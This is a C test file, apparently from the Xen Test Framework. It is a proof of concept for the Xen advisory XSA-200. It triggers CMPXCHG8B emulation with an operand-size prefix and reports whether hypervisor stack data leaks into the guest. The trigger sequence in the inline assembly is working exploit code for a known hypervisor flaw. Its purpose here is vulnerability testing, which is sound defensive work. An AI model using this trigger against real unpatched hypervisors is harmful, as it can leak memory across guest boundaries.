main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-200 PoC";

bool test_needs_fep = true;

void test_main(void)
{
    uint64_t mem = 0xc2c2c2c2c2c2c2c2ull;

    uint64_t old = 0x0123456789abcdefull;
    uint64_t new = 0xfedcba9876543210ull;
    uint64_t prev;

    unsigned int i;
    exinfo_t fault = 0;

    for ( i = 0; i < 10; ++i )
    {
        /* Poke the emulator. */
        asm volatile (_ASM_XEN_FEP "1: .byte 0x66; cmpxchg8b %[ptr]; 2:"
                      _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
                      : "=A" (prev), [ptr] "+m" (mem), "+D" (fault)
                      : "c" ((uint32_t)(new >> 32)), "b" ((uint32_t)new),
                        "0" (old), [rec] "p" (ex_record_fault_edi));

        if ( fault == EXINFO_SYM(UD, 0) )
            return xtf_success("Success: Not vulnerable to XSA-200\n");
        else if ( fault )
            return xtf_error("Error: Unexpected fault %08x\n", fault);

        if ( prev != mem )
            return xtf_failure("Fail: Hypervisor stack leaked into guest\n");
    }

    xtf_success("Success: Probably not vulnerable to XSA-200\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */